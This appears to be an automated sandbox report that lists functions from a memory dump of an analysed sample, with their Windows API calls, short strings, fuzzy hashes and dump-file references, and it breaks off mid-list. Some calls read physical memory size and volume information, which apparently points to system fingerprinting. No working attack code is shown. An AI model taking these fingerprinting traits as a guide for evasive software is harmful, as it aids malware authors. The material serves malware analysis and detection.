P6D+, xrefs: 00FC4FA1
M:h:, xrefs: 00FC520A

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: M:h:$P6D+$hFt=
API String ID: 3960555810-4191368970
Opcode ID: e2de49273bca80347a0adfb55d4448154ede78fb2f20c0a72551ce961f8c3997
Instruction ID: 71845d7a0b691bac498e8eab2975088d170d24bda50826eeb250b23d1f5f4128
Opcode Fuzzy Hash: e2de49273bca80347a0adfb55d4448154ede78fb2f20c0a72551ce961f8c3997
Instruction Fuzzy Hash: F2F14D70544F828BD726CF35C468BE3BBE1AB56308F44496DC0EB8B692C779B44ADB50

Uniqueness

Uniqueness Score: -1.00%

Function 00FC4F8F Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 366
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 00FC50BF

Strings

hFt=, xrefs: 00FC5203
P6D+, xrefs: 00FC4FA1
M:h:, xrefs: 00FC520A

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: M:h:$P6D+$hFt=
API String ID: 3960555810-4191368970
Opcode ID: 2c20f48c5be9ce7744b2da780b2bea8fcfa91da1d7c2e9c85f62bef04a412e4a
Instruction ID: fa7e3ae7a808055796c9fd4c8f9d5d11f55c4765c2f2954da7e3fd7f52cd8fc0
Opcode Fuzzy Hash: 2c20f48c5be9ce7744b2da780b2bea8fcfa91da1d7c2e9c85f62bef04a412e4a
Instruction Fuzzy Hash: 2ED15D70504F428BD726CF35C468BE7BBE1AB56308F44496DC0EA8B692C779B44ADB50

Uniqueness

Uniqueness Score: -1.00%

Function 00FBDF50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,00000000,?), ref: 00FBE08D
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,?,?), ref: 00FBE0BC

Strings

M3, xrefs: 00FBE171, 00FBE175
ru, xrefs: 00FBDFDB

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: ru$M3
API String ID: 237503144-652937946
Opcode ID: 43421ff772f3b358fc75a24f22e8f3b3efdfffa3f5b479b07b0c7577ea99d178
Instruction ID: 1cd0cbcef71808e96e84a9efa015fe0d67f54a51bf7d0a4e6856d56426844dbd
Opcode Fuzzy Hash: 43421ff772f3b358fc75a24f22e8f3b3efdfffa3f5b479b07b0c7577ea99d178
Instruction Fuzzy Hash: BA5131B1508381AFE714CF01C890B9BBBE5FBC9394F10892DF8A55B381C775DA468B92

Uniqueness

Uniqueness Score: -1.00%

Function 00FD1DD5 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00FD1E18

Strings

C, xrefs: 00FD1DD5
\, xrefs: 00FD1DE3
:, xrefs: 00FD1DDC

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: InformationVolume
String ID: :$C$\
API String ID: 2039140958-3809124531
Opcode ID: 0e10f8176a41199a1d99d2508125aeaf79043e5ec9fbd46260604d959d1d8b58
Instruction ID: 84c1b27f7b580399c5d97c21aee913260ced53ae9a7198482d048b53987db461
Opcode Fuzzy Hash: 0e10f8176a41199a1d99d2508125aeaf79043e5ec9fbd46260604d959d1d8b58
Instruction Fuzzy Hash: CBF06570254341BBE324CF10EC6AF1672A4DF45B44F20881DB2459A2D0D7B5BA19AA59

Uniqueness

Uniqueness Score: -1.00%

Function 00FFD7D7 Relevance: 6.1, APIs: 4, Instructions: 79
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 00FFD808
__mtterm.LIBCMT ref: 00FFD88D

Memory Dump Source

Source File: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: Initialize__mtterm
String ID:
API String ID: 437650908-0
Opcode ID: 44b00b736602e8aaa5f85f5724e272838c8b80ead4ced18690a6ef80535ec818
Instruction ID: bfea8ee3e2e9dc6cdae1aa98bfa83069e8830a3a3e64728fee16a6a8c64d6467
Opcode Fuzzy Hash: 44b00b736602e8aaa5f85f5724e272838c8b80ead4ced18690a6ef80535ec818
Instruction Fuzzy Hash: 5511B23390410F566A3677B56C019BE3356AEA17B0F34042BFB81C50B1DF39C842B6A2

Uniqueness

Uniqueness Score: -1.00%

Function 00FD6041 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 92libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 00FD61AB

Strings

^], xrefs: 00FD613B

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: LibraryLoad
String ID: ^]
API String ID: 1029625771-1882935148
Opcode ID: e598bd4c23c1cfc29321bafe836ef2a2fbfcb8dd2620cedc4e59676d3fa507d3
Instruction ID: 6c406131873829c07df1d41c38596765ed58c66286cca803b43e63ffa5747efd
Opcode Fuzzy Hash: e598bd4c23c1cfc29321bafe836ef2a2fbfcb8dd2620cedc4e59676d3fa507d3
Instruction Fuzzy Hash: CF317AB051D3429BE708CF10D6A462FBBE2AFC4B48F188A1DE4855B755D734C942EF86

Uniqueness

Uniqueness Score: -1.00%

Function 00FD6CD4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,FFFFFFFF), ref: 00FD6D81

Strings

(;O, xrefs: 00FD6DAA

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: AllocateHeap
String ID: (;O
API String ID: 1279760036-2077936600
Opcode ID: e908cb905542e78dc63b09f3fede42922f481b6fd48a3439009a670ca606e178
Instruction ID: 6a005932222f376acd40bdc642d23e5a01c28955f88a167f322dc0554788908e
Opcode Fuzzy Hash: e908cb905542e78dc63b09f3fede42922f481b6fd48a3439009a670ca606e178
Instruction Fuzzy Hash: DC2159712083419BE708CF24C5A4B2BBBE2FBC8718F154A2DE49A8B391C775DD41DB86

Uniqueness

Uniqueness Score: -1.00%

Function 00FB7810 Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 00FB784A
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00FB787E

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 4e3fb1b417182454c4d2f73ef5032082ebe467111209045a72ccb7af0a27c97e
Instruction ID: 59973e40019e60217540c6c14afba8c731ac522cf356321e0323b3fae8ff4e16
Opcode Fuzzy Hash: 4e3fb1b417182454c4d2f73ef5032082ebe467111209045a72ccb7af0a27c97e
Instruction Fuzzy Hash: F2010871508344BBD710EB65CC86F67376DEB81760F044619F955CB2D0EA70E804DBB2

Uniqueness

Uniqueness Score: -1.00%

Function 00FC7F5A Relevance: 1.6, APIs: 1, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00FC8071

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: d44f81b200051c2ea3a9802121a64cab73c44db65336f08e3e149121e5f0845a
Instruction ID: 5d37159b4efd2c12d7a3b207b7103a50749cfd5641811e3d7330f4f4f69592c5
Opcode Fuzzy Hash: d44f81b200051c2ea3a9802121a64cab73c44db65336f08e3e149121e5f0845a
Instruction Fuzzy Hash: BA417971108B82DFC324CF28C499B56BBE1BB89314F04475CD4EA8BB91DB35E65ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 00FC7F84 Relevance: 1.6, APIs: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00FC8071

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 804479db56b4884bdafc06c862d364d16099b415220c992fcb01ef3e82b73668
Instruction ID: 1626d2bcca457913c0abada8792c04a8baebd616cdd78516f03e238f3a8df5a7
Opcode Fuzzy Hash: 804479db56b4884bdafc06c862d364d16099b415220c992fcb01ef3e82b73668
Instruction Fuzzy Hash: 8B413570108B829FD325CF28C498B46FFE1BB5A314F04874CD0EA8BB91D775A659CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00FD6209 Relevance: 1.6, APIs: 1, Instructions: 87libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 00FD638B

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 95e44c068cd6e2d3103fd76c8764770e95d88f082af1392c119b61b8bbc68b3f
Instruction ID: 593ea61f14edc3b1751b0c3872fc58fbf0ba4ed51d02b0bbac5f1e58d10003d2
Opcode Fuzzy Hash: 95e44c068cd6e2d3103fd76c8764770e95d88f082af1392c119b61b8bbc68b3f
Instruction Fuzzy Hash: BF4104B06093819FE708DF11C5A072BBBE2EFC9B59F18890CE0855B381C735C9469F96

Uniqueness

Uniqueness Score: -1.00%

Function 00FD5F1F Relevance: 1.6, APIs: 1, Instructions: 68libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 00FD6001

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 38d4eda4326cc8fed3f3062a80f459badb74632afae868d2f0787f0a2fa468d7
Instruction ID: 9a71997a8735639bef8b5c164ebdb6053567c870eb35580799a0cad84eca68e4
Opcode Fuzzy Hash: 38d4eda4326cc8fed3f3062a80f459badb74632afae868d2f0787f0a2fa468d7
Instruction Fuzzy Hash: C5216DB05193419BC308DF24EDA0B2F7BE2EB81748F188A1DE4895B751DB358906AB86

Uniqueness

Uniqueness Score: -1.00%

Function 00FD3B50 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,00FA98AB), ref: 00FD3BF1

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 949cd7ff0fd21a02045a545da2257e62d9aabfbbbc7bd7a97885ea0bd37ce92d
Instruction ID: 7c34ab71f3c6b8c1eac3313843f7802a28bad706a9c3530382c8e1b6c8d3a355
Opcode Fuzzy Hash: 949cd7ff0fd21a02045a545da2257e62d9aabfbbbc7bd7a97885ea0bd37ce92d
Instruction Fuzzy Hash: 1A113631208301ABD704CF15C46475BFBA6EBC4328F148A1EE9A80B691CB75DA0ACBC6

Uniqueness

Uniqueness Score: -1.00%

Function 00FD75CD Relevance: 1.5, APIs: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,00000000), ref: 00FD7658

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 68bf2cf17ae2b6bdecfa07a88ed19fb5f5e7e0b5e1bfab586607a4c9bd3991a4
Instruction ID: 4f31e47551ea2e3f585cef700f9ea34bcb3862e39e1dcf7b6343f6c082d8ec65
Opcode Fuzzy Hash: 68bf2cf17ae2b6bdecfa07a88ed19fb5f5e7e0b5e1bfab586607a4c9bd3991a4
Instruction Fuzzy Hash: 3E0105725083519FD710DF04D99474FBBA2EBC4328F58CE4DE8A82B285E375D9498BD2

Uniqueness

Uniqueness Score: -1.00%

Function 00FD3C2A Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000), ref: 00FD3CB4

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 7f0a039728fb8643a76a420089efdcc1fd90ea77733d979ef89218c333a662e8
Instruction ID: 94834dcca403f0cd55fb2692cdf7447dd3c15f3e9515f9910cb47bd21e25026c
Opcode Fuzzy Hash: 7f0a039728fb8643a76a420089efdcc1fd90ea77733d979ef89218c333a662e8
Instruction Fuzzy Hash: 6B01A5701083409FE314CF10D4A472BBBE1EBC5328F248E4DE8A917691C775D949CF86

Uniqueness

Uniqueness Score: -1.00%

Function 00FCD6B9 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL ref: 00FCD6B9

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 9833923486a6916a8a6dc9b6c6db20b57a04695fc8d46dc3d741562f0504ffa2
Instruction ID: 4b4abd6d5d562c2ba45157edd6353efca135d4250a03654b013188c6ed32a406
Opcode Fuzzy Hash: 9833923486a6916a8a6dc9b6c6db20b57a04695fc8d46dc3d741562f0504ffa2
Instruction Fuzzy Hash: 17F07FB4250B05CFC325DF39C494A26B7F1BF49304B11095DE5968BB60D731B846CF41

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00FA1700 Relevance: 10.6, Strings: 8, Instructions: 594COMMON

Download Yara Rule

Strings

[, xrefs: 00FA1968
false, xrefs: 00FA1891
true, xrefs: 00FA1879
null, xrefs: 00FA19AE
., xrefs: 00FA17A9
{, xrefs: 00FA1A65
0, xrefs: 00FA17A3
., xrefs: 00FA17CE

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID: .$.$0$[$false$null$true${
API String ID: 0-1639024219
Opcode ID: 7be12e412976d72cd995231d68dd29b6cef0f6e5e353b461e8b53c4f23b7b6dd
Instruction ID: d350aedbfc118355d945f623358b4a68d23360a2a3fc8263adbb755728870f71
Opcode Fuzzy Hash: 7be12e412976d72cd995231d68dd29b6cef0f6e5e353b461e8b53c4f23b7b6dd
Instruction Fuzzy Hash: 141225F4E003099BE7105F25DC4572BBBE4BF42394F1A8538E88687292FB79D905EB52

Uniqueness

Uniqueness Score: -1.00%

Function 00FAEF2D Relevance: 6.4, Strings: 5, Instructions: 151COMMON

